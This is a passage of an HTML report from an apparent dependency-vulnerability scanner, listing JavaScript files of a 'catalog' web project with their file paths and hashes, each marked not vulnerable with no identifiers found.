03e8a1bfdd35bf42410b305613208b3fd6908d19<br/><b>SHA256:</b>bf7e49bdd3394b2e267aea41592e38cbff0aa383473805703c87b3c7c96b296b</p><h4 id="header46" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content46" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header47" class="subsectionheader white">Identifiers</h4><div id="content47" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l24_3fa3f47d44c28adc3238fcd7d53021986491a4c1"></a>pages.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/lib/pages.js<br/><b>MD5:</b> 61b7efb5c925d6470f35da726d64b32c<br/><b>SHA1:</b> 3fa3f47d44c28adc3238fcd7d53021986491a4c1<br/><b>SHA256:</b>746a47e84efb25e369bd5f8868c810398e373aca15096909d4fc7996668284da</p><h4 id="header48" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content48" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header49" class="subsectionheader white">Identifiers</h4><div id="content49" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l25_456e5e5c7ecfdc0c0c1c42168a304388120bd0d5"></a>userProfile.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/userProfile.js<br/><b>MD5:</b> 8af76ebbc208979f6a838cd455e252c6<br/><b>SHA1:</b> 456e5e5c7ecfdc0c0c1c42168a304388120bd0d5<br/><b>SHA256:</b>a1a0c5f3d00d76033d22501ac51ae8d88978541b090accb0b27fa295e6596883</p><h4 id="header50" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content50" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header51" class="subsectionheader white">Identifiers</h4><div id="content51" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l26_d1f698332098355a0c77acc2dbfed8248ba8234a"></a>etag.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/lib/etag.js<br/><b>MD5:</b> 8b9b20a8474670721a1231d496e4c0ee<br/><b>SHA1:</b> d1f698332098355a0c77acc2dbfed8248ba8234a<br/><b>SHA256:</b>c3e3b5c3d225d6ae0a4cf6ec3697cebbb1556938856360a3d60986f03d85f579</p><h4 id="header52" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content52" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header53" class="subsectionheader white">Identifiers</h4><div id="content53" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l27_ae5e4212ec925eac35c9d01e0fc7088a6bf968c3"></a>sourcePermalink.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/sourcePermalink.js<br/><b>MD5:</b> ed5fc4150b797eecddff0c25656775b0<br/><b>SHA1:</b> ae5e4212ec925eac35c9d01e0fc7088a6bf968c3<br/><b>SHA256:</b>d5526fd4da9530108737f4c5089d107525c883fffc40a54c10ca82651cdf242d</p><h4 id="header54" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content54" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header55" class="subsectionheader white">Identifiers</h4><div id="content55" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l28_a373caa3a575f89519047a5be24dc7e6905dae56"></a>main.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/index/main.js<br/><b>MD5:</b> 84f691b5fd42adff5d289b182b7746d9<br/><b>SHA1:</b> a373caa3a575f89519047a5be24dc7e6905dae56<br/><b>SHA256:</b>5a71f333b6fb0952c088d7b35b7f0742ed8c1ece30912013f1049ccff60f5dd5</p><h4 id="header56" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content56" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header57" class="subsectionheader white">Identifiers</h4><div id="content57" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l29_c91c61373fdf116eb27a26a64fd0e9083526b43a"></a>main.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/main.js<br/><b>MD5:</b> 0cd6edcf3971e07b0bf0a24b1dbef0f7<br/><b>SHA1:</b> c91c61373fdf116eb27a26a64fd0e9083526b43a<br/><b>SHA256:</b>e5f7c82cb9c48db5bac4057cb414fb7e72d31ed3f5b1078a3eaafe91a790828c</p><h4 id="header58" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content58" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header59" class="subsectionheader white">Identifiers</h4><div id="content59" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l30_25ab1706736322657f73df64f2e2275ba32b1862"></a>annotations.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/lib/api/annotations.js<br/><b>MD5:</b> 354d105487f3e000c0047da6bb0fc60d<br/><b>SHA1:</b> 25ab1706736322657f73df64f2e2275ba32b1862<br/><b>SHA256:</b>49090dfb230a0dc5bca07c379fc1feebcd989bb7ca4a2aa4ff009f2464487d57</p><h4 id="header60" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content60" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header61" class="subsectionheader white">Identifiers</h4><div id="content61" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l31_b2287560a62791c749f70c88cc7d7f4c1bfc6664"></a>main.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/core/main.js<br/><b>MD5:</b> c459ce039448aa0b3e8eca409bcc916a<br/><b>SHA1:</b> b2287560a62791c749f70c88cc7d7f4c1bfc6664<br/><b>SHA256:</b>e2b524bfc37ab3e11190a656f11bfa6a5f3ecd4c3ea9a586109f4290a00588dc</p><h4 id="header62" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content62" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header63" class="subsectionheader white">Identifiers</h4><div id="content63" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l32_8d7f950df7245852a9e700c125e72ae2c0907678"></a>user.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/lib/model/user.js<br/><b>MD5:</b> 88dd5cb3057a18258ac34a7f1295ae57<br/><b>SHA1:</b> 8d7f950df7245852a9e700c125e72ae2c0907678<br/><b>SHA256:</b>f690d17fd1d90eb5384b134f70e987f6a340d74a0483a70fcdb6d797bd84b4fb</p><h4 id="header64" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content64" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header65" class="subsectionheader white">Identifiers</h4><div id="content65" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l33_7d877b25373f796696fc8322551bde84ef2e7d2f"></a>common.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/core/lib/common.js<br/><b>MD5:</b> d825cfb83a91d008a06314116acd86e0<br/><b>SHA1:</b> 7d877b25373f796696fc8322551bde84ef2e7d2f<br/><b>SHA256:</b>343e04a0b92cacfb6075f13f525c021a1560f8f92ad7401747da7f3259103476</p><h4 id="header66" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content66" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header67" class="subsectionheader white">Identifiers</h4><div id="content67" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l34_5bbf4bdf0aeb5e9563da454890d076f129f5b6b1"></a>editUserProfileView.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/views/editUserProfileView.js<br/><b>MD5:</b> e48c35d1cf4c1e847c440ce6571dff53<br/><b>SHA1:</b> 5bbf4bdf0aeb5e9563da454890d076f129f5b6b1<br/><b>SHA256:</b>cb0776888f7e654f772d723fdb68aa015089fb3f8f35ef0c2c09432743f9bacf</p><h4 id="header68" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content68" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header69" class="subsectionheader white">Identifiers</h4><div id="content69" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l35_296901bcddb118190867732656fe9a76b38b5c00"></a>user.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/core/lib/user.js<br/><b>MD5:</b> e0e9f613ad57a4d4db2b1611429abed1<br/><b>SHA1:</b> 296901bcddb118190867732656fe9a76b38b5c00<br/><b>SHA256:</b>77e1e7505db305728af73e0c3e9474c0b716539dd7d1ea36c9397f0ab3d14d16</p><h4 id="header70" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content70" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header71" class="subsectionheader white">Identifiers</h4><div id="content71" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l36_3e357554b091b00889d9784649c7a286cfc96614"></a>admin.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/lib/model/admin.js<br/><b>MD5:</b> 7fb75461cfa116d63e360f6cd6706945<br/><b>SHA1:</b> 3e357554b091b00889d9784649c7a286cfc96614<br/><b>SHA256:</b>29be8749e97881ad5e2884c0c8a08bdb298f5138383be9957f8643109827c4c4</p><h4 id="header72" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content72" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header73" class="subsectionheader white">Identifiers</h4><div id="content73" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l37_1c47e69afd1bef9d25a4605e1360ff720ce4f54a"></a>sessions.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/lib/sessions.js<br/><b>MD5:</b> 9a4e0c0c8fe71dc8a21dcc2d058104ad<br/><b>SHA1:</b> 1c47e69afd1bef9d25a4605e1360ff720ce4f54a<br/><b>SHA256:</b>49e19a2f2aeea3331c6b4680f4dae8b308220522fcc869f3a7b53b9f3ca8ba82</p><h4 id="header74" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content74" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header75" class="subsectionheader white">Identifiers</h4><div id="content75" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l38_db84c66e744e8cd5ee5a0f20b3dd8f9668a50fc2"></a>config.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/lib/config.js<br/><b>MD5:</b> 045c8bf14e162759d4f921119343e093<br/><b>SHA1:</b> db84c66e744e8cd5ee5a0f20b3dd8f9668a50fc2<br/><b>SHA256:</b>f1327aa9fa9ee07f0d0860ec99de87dc2e90d18b6a3836d978c9e99cb597ef87</p><h4 id="header76" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content76" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header77" class="subsectionheader white">Identifiers</h4><div id="content77" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l39_3f76f19dd4a37998023d453d6d3e31e9a6a14570"></a>posts.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/posts.js<br/><b>MD5:</b> 9233d5f2d1121e408b3ed0d47bfc1235<br/><b>SHA1:</b> 3f76f19dd4a37998023d453d6d3e31e9a6a14570<br/><b>SHA256:</b>8b5634d2c988d97a0fa6a4f5507ff97de6fc5fdb5358e569469428e99d0db8ae</p><h4 id="header78" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content78" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header79" class="subsectionheader white">Identifiers</h4><div id="content79" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l40_8d2cf863d59acfb96ba58f3658246e54de2ed676"></a>requests.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/apitest/requests.js<br/><b>MD5:</b> 02ae89945c51e757320675e1499bf55c<br/><b>SHA1:</b> 8d2cf863d59acfb96ba58f3658246e54de2ed676<br/><b>SHA256:</b>98106f0c505716bcf2ec80469794c1a5c64a2cc797a48c793f3800211bd798ac</p><h4 id="header80" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content80" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header81" class="subsectionheader white">Identifiers</h4><div id="content81" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l41_abc4658884b83e8488c6cf8266e4dd30bf527084"></a>test_annotation.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/core/tests/test_annotation.js<br/><b>MD5:</b> 265d4057e2acb90dba689430de822ce1<br/><b>SHA1:</b> abc4658884b83e8488c6cf8266e4dd30bf527084<br/><b>SHA256:</b>c98d331fca405f8408fa51464d8c6570196897bbd0e6eaadc6a5d89ac3ba00d8</p><h4 id="header82" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content82" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header83" class="subsectionheader white">Identifiers</h4><div id="content83" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l42_69f237e70a055f83230ab875759db293eb021e8f"></a>uris.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/lib/uris.js<br/><b>MD5:</b> 1a9cfeee4faf6231c6f4cb131ec82f19<br/><b>SHA1:</b> 69f237e70a055f83230ab875759db293eb021e8f<br/><b>SHA256:</b>140f3f7d9a7a6b7f142a94c7e3fdf0a1abc7873e7a69a46b188645a4b534725e</p><h4 id="header84" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content84" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header85" class="subsectionheader white">Identifiers</h4><div id="content85" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l43_cd2c44e2f45f9a425713fd154a6aa33199d6ff91"></a>userProfileView.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/views/userProfileView.js<br/><b>MD5:</b> 1e0246c33fd7fcab0fe0d9aa0d6d053a<br/><b>SHA1:</b> cd2c44e2f45f9a425713fd154a6aa33199d6ff91<br/><b>SHA256:</b>9aadb7201aee8cd27d3a504eea76d7590a7a204a1d9179f1f45096b8cc5f79c3</p><h4 id="header86" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content86" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header87" class="subsectionheader white">Identifiers</h4><div id="content87" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l44_958f00416cca96b3dde10421c813a01c8368082c"></a>sourceCollection.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/collections/sourceCollection.js<br/><b>MD5:</b> 0066a30985ec20431277a47387129eba<br/><b>SHA1:</b> 958f00416cca96b3dde10421c813a01c8368082c<br/><b>SHA256:</b>4f31dbd52c8a684881b7d9200ec787fe86f5f6555e674818ddd32d08d4287ebf</p><h4 id="header88" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content88" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header89" class="subsectionheader white">Identifiers</h4><div id="content89" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l45_dd2a4d5b7b2b9767a3a7d980ef234f6974b45f9a"></a>development.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/config/development.js<br/><b>MD5:</b> 79696998dc37a377e44cf75dc153f0cd<br/><b>SHA1:</b> dd2a4d5b7b2b9767a3a7d980ef234f6974b45f9a<br/><b>SHA256:</b>8990a71856f622bdaf29360e10aa47aa743881471eccb60aa2849200187aa1b9</p><h4 id="header90" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content90" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header91" class="subsectionheader white">Identifiers</h4><div id="content91" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l46_19cd1e6855b4375717ad2a6ec7088d9572e1baf8"></a>sources.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/lib/api/sources.js<br/><b>MD5:</b> 00ad732fd55dba712207fb71ec8eb5c4<br/><b>SHA1:</b> 19cd1e6855b4375717ad2a6ec7088d9572e1baf8<br/><b>SHA256:</b>ae8b05495ed0cc25436ef2e428fc41234a49421e0bbcc42ca2c8ff4bb3f6a20c</p><h4 id="header92" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content92" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header93" class="subsectionheader white">Identifiers</h4><div id="content93" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l47_1cdcf18184f2b9942b025f442bb0962ec9314af1"></a>admin.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/admin.js<br/><b>MD5:</b> 7cb9c3749a5e1a67e3612c04f8688cf6<br/><b>SHA1:</b> 1cdcf18184f2b9942b025f442bb0962ec9314af1<br/><b>SHA256:</b>0c8d806fa7dcca55d9ebf0ada002a854722e715e068ca318aec02bd77f193741</p><h4 id="header94" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content94" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header95" class="subsectionheader white">Identifiers</h4><div id="content95" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l48_c85ae2b680378247c6c56c63f71264cf0b63278a"></a>subscriber.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/event/lib/subscriber.js<br/><b>MD5:</b> 9f915f5b79fa801e02984b9ffa031673<br/><b>SHA1:</b> c85ae2b680378247c6c56c63f71264cf0b63278a<br/><b>SHA256:</b>8de0b22ea3a732e1c06ce0f0465d805cbaf0e32ee6ab649b2f838079a17ee5ae</p><h4 id="header96" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content96" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header97" class="subsectionheader white">Identifiers</h4><div id="content97" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l49_153310cbecc4c2c6887a663219c4ea58985178d2"></a>home.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/home.js<br/><b>MD5:</b> acbc6a124bc43cb242b98787c271fb0f<br/><b>SHA1:</b> 153310cbecc4c2c6887a663219c4ea58985178d2<br/><b>SHA256:</b>8aaa2f695ec8567d0942610b3bc3ebeffbf2d9a0ff8ad66f5a7675836e5163f7</p><h4 id="header98" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content98" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header99" class="subsectionheader white">Identifiers</h4><div id="content99" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l50_4c762889bf0dbde44ab1dfb3d43ed99ce7bba973"></a>util.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/util.js<br/><b>MD5:</b> 564d93016385d474e358ff27604adc3e<br/><b>SHA1:</b> 4c762889bf0dbde44ab1dfb3d43ed99ce7bba973<br/><b>SHA256:</b>4cc13526ca1167cba229febef21d025b34836c4b29f9c468dd49d5ee913c89ec</p><h4 id="header100" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content100" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header101" class="subsectionheader white">Identifiers</h4><div id="content101" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l51_a06dfc6e744e2c553065f9215e2aaa375d9fce2f"></a>createMixin.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/views/createMixin.js<br/><b>MD5:</b> 7494c0dc0c46370aca5f9f9fcf2e4b72<br/><b>SHA1:</b> a06dfc6e744e2c553065f9215e2aaa375d9fce2f<br/><b>SHA256:</b>7960ea3e412c43a085d98cf595a0ad0d88160568bfd824cece1a9d87ddee658b</p><h4 id="header102" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content102" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header103" class="subsectionheader white">Identifiers</h4><div id="content103" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l52_e488f0d82da5e30eb4357125f1de9bd75a5ef1ad"></a>respond.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/lib/api/respond.js<br/><b>MD5:</b> 85c069afd5316aca13be81784b668a78<br/><b>SHA1:</b> e488f0d82da5e30eb4357125f1de9bd75a5ef1ad<br/><b>SHA256:</b>e73f1a5f08acfff740f6042ba3d64fe49245f79a42b8ca1f6f16020f0b8e4b12</p><h4 id="header104" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content104" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th 